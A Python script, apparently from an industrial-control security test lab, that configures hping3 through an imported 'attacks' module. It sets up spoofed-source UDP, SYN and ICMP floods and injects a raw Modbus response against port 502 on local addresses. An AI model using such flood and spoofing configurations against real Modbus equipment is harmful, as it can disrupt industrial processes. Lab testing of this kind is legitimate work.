#!/usr/bin/env python3
from src.core.attacks.hping_test import Hping3Tester
from src.core.models.hping_test import HpingTestConfig
from random import randint


def main():
    # Конфигурация теста Modbus TCP
    # config = HpingTestConfig(
    #     target="192.168.1.55",
    #     test_type="tcp",
    #     interface="eth0",
    #     spoof_ip="192.168.1.151",  # Спуфинг источника
    #     source_port=randint(45000,65535),  # Порт источника
    #     dest_port=502,  # Порт назначения (Modbus)
    #     dest_port_range=False,  # Использовать диапазон портов назначения (++)
    #     packet_size=12,  # Размер пакета
    #     #interval="u30",  # Интервал 30 микросекунд
    #     flags="S",  # Флаги PUSH + ACK (правильно: "P", "A")
    #     # raw_data="/home/user/raw/1.raw",  # Сырые данные
    #     count=100,
    #     verbose=True,
    #     flood=True
    # )
    # config = HpingTestConfig(
    #     target="192.168.1.151",
    #     test_type="tcp",
    #     interface="enp7s0f1",
    #     spoof_ip="192.168.1.55",  # Спуфинг источника
    #     source_port=randint(45000,65535),  # Порт источника
    #     dest_port=502,  # Порт назначения (Modbus)
    #     dest_port_range=False,  # Использовать диапазон портов назначения (++)
    #     packet_size=12,  # Размер пакета
    #     interval="u10000",  # Интервал 30 микросекунд
    #     flags="PA",  # Флаги PUSH + ACK (правильно: "P", "A")
    #     raw_data="/home/lodqa/attack_module_data/2_modbus_response.raw",  # Сырые данные
    #     count=10000,
    #     verbose=True,
    #     flood=False
    # )

    # config = HpingTestConfig(
    #     target="192.168.1.55",
    #     test_type="icmp",
    #     interface="eth0",
    #     spoof_ip="192.168.1.151",  # Спуфинг источника
    #     verbose=False,
    #     flood=True
    # )

    config = HpingTestConfig(
        target="192.168.1.55",
        test_type="udp",
        interface="eth0",
        spoof_ip="192.168.1.151",  # Спуфинг источника
        source_port=randint(45000,65535),  # Порт источника
        dest_port=502,  # Порт назначения (Modbus)
        dest_port_range=False,  # Использовать диапазон портов назначения (++)
        verbose=False,
        flood=True
    )

    # Запуск теста
    tester = Hping3Tester(config)
    stats = tester.run()

    # Дополнительная обработка результатов
    # ...


if __name__ == "__main__":
    main()